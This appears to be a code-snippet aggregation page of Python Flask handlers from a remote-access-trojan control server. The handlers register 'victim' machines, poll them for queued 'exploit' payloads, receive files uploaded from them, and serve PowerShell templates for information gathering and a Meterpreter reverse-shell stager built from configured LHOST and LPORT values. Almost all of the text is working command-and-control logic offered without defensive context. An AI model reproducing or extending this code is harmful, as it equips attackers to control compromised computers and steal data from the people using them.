Beispiel #1
0
def checkOnline():
    signature = request.form.get('signature')
    c = victim.victim()
    if c.checkalive(signature):
        return 'success'
    else:
        return 'error'
Beispiel #2
0
def checkOnline():
    signature = request.form.get("signature")
    c = victim.victim()
    if c.checkalive(signature):
        return "success"
    else:
        return "error"
Beispiel #3
0
def upload_controller(signature):
    c = victim.victim()
    u = upload.upload()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return 'error'
    if not c.get(signature):
        return 'error'
    data = unquote(request.get_data())
    data = data.replace('-----BEGIN CERTIFICATE-----', '')
    data = data.replace('-----END CERTIFICATE-----', '')
    data = data.strip()
    try:
        data = base64.b64decode(data)
    except Exception as e:
        return 'error'
    originalname = request.args.get('filename')
    pid = request.args.get('pid')
    filename = ntpath.basename(originalname) + '.' + md5(data)
    if not os.path.exists(upload_dir + os.sep + signature):
        os.mkdir(upload_dir + os.sep + signature, 0700)
    with open(upload_dir + os.sep + signature + os.sep + filename, 'w') as f:
        f.write(data)
    u.add(signature, pid, originalname, filename)
    resp = make_response(filename, 200)
    return resp
Beispiel #4
0
def upload_controller(signature):
    c = victim.victim()
    u = upload.upload()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return 'error'
    if not c.get(signature):
        return 'error'
    data = unquote(request.get_data())
    data = data.replace('-----BEGIN CERTIFICATE-----', '')
    data = data.replace('-----END CERTIFICATE-----', '')
    data = data.strip()
    try:
        data = base64.b64decode(data)
    except Exception as e:
        print e
        return 'error'
    originalname = request.args.get('filename')
    pid = request.args.get('pid')
    filename = md5(data)
    with open(upload_dir+os.sep+filename, 'wb') as f:
        f.write(data)
    u.add(signature, pid, originalname, filename)
    resp = make_response(filename, 200)
    return resp
Beispiel #5
0
def rat(signature):
    global server
    c = victim.victim()
    a = action.action()
    p = payload.payload()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return "error"
    if not c.get(signature):
        return 'error'
    if request.method == 'GET':
        cl = c.get(signature)
        if not cl:
            return "error"
        c.heartbeat(signature)
        ac = a.gettask(signature)
        if ac:
            exploit = ac['payload']
            pid = ac['pid']

        else:
            exploit = 'aGJlYXQ='
            pid = 'aGJlYXQ='		
        return render_template_string(exploit, server=server, signature=signature, pid=pid)
    else:
        pid = request.args.get('pid')
        pattern = r"^[0-9a-f]{32}$"
        if not re.match(pattern, pid):
            return "error"
        data = request.get_data().encode('base64')
        a.setfeedback(pid, data)
        return ''
Beispiel #6
0
def rat(signature):
    global server
    c = victim.victim()
    a = action.action()
    p = payload.payload()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return "error"
    if not c.get(signature):
        return 'error'
    if request.method == 'GET':
        c = victim.victim()
        pattern = r"^[0-9a-f]{32}$"
        if not re.match(pattern, signature):
            return 'error'
        if not c.get(signature):
            return 'error'
        c.heartbeat(signature)
        #TODO:添加全局任务

        #查找未完成任务
        ac = a.gettask(signature)

        if ac and signature == ac['pid']:
            a.setfeedback(signature, 'done')
            exploit = ac['payload']
            pid = ac['pid']
        elif ac and ac['repeat'] < 3:
            exploit = ac['payload']
            pid = ac['pid']
            a.addrepeat(pid)
        else:
            exploit = ''
            pid = 'heartbeat'
        return render_template_string(exploit,
                                      server=server,
                                      signature=signature,
                                      pid=pid)
    else:
        pid = request.args.get('pid')
        pattern = r"^[0-9a-f]{32}$"
        if not re.match(pattern, pid):
            return "error"
        data = request.get_data().encode('base64')
        a.setfeedback(pid, data)
        return ''
Beispiel #7
0
def PowershelInformation(signature):
    c = victim.victim()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return "error"
    if not c.get(signature):
        return 'error'
    return render_template('GatherInformation.ps1')
Beispiel #8
0
def getOnline():
    c = victim.victim()
    data = c.alives()
    if data:
        for i in xrange(len(data)):
            data[i]["id"] = i
            data[i]["alive_time"] = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(data[i]["alive_time"]))
        return json.dumps(data)
    else:
        return "Danm!None Online..."
Beispiel #9
0
def connect():
    global server
    c = victim.victim()
    p = payload.payload()
    signature = md5(str(time.time())+SECRET_KEY+request.remote_addr+str(random.random()))
    if c.get(signature):
        signature = md5(str(time.time())+SECRET_KEY+request.remote_addr)
    c = c.add(signature, request.remote_addr)
    #a = action.action().add(signature, 'init', 'payload', 4) #add init task
    return render_template_string(p.connect(), server=server, signature=signature)
Beispiel #10
0
def getOnline():
    c = victim.victim()
    data = c.alives()
    if data:
        for i in xrange(len(data)):
            data[i]['id'] = i
            data[i]['alive_time'] = time.strftime(
                "%Y-%m-%d %H:%M:%S", time.localtime(data[i]['alive_time']))
        return json.dumps(data)
    else:
        return 'All offline...'
Beispiel #11
0
def check():
    global server
    data = unquote(request.get_data())
    #TODO: add data format check
    signature = md5(data + SECRET_KEY)
    c = victim.victim()
    p = payload.payload()
    if not c.get(signature):
        c = c.add(signature, request.remote_addr)
        #添加初始任务
        action.action().add(signature, signature, 'init', p.init(),
                            4)  #add init task
    return render_template_string(p.begin(),
                                  server=server,
                                  signature=signature)
Beispiel #12
0
def PowershelMeterpreter(signature):
    c = victim.victim()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return "error"
    if not c.get(signature):
        return 'error'
    s = settings.settings()
    ip = ''
    for i in socket.inet_aton(socket.gethostbyname(s.get('LHOST'))):
        ip += hex(ord(i)) + ', '

    port = ''
    for i in struct.pack('!I', int(s.get('LPORT')))[-2:]:
        port += hex(ord(i)) + ', '
    return render_template('PowershellMeterpreterx86.ps1', ip=ip, port=port)
Beispiel #13
0
def deleteSession():
    signature = request.form.get("signature").strip()
    v = victim.victim()
    v.delete(signature)
    return "success"
Beispiel #14
0
def deleteSession():
    signature = request.form.get('signature').strip()
    v = victim.victim()
    v.delete(signature)
    return 'success'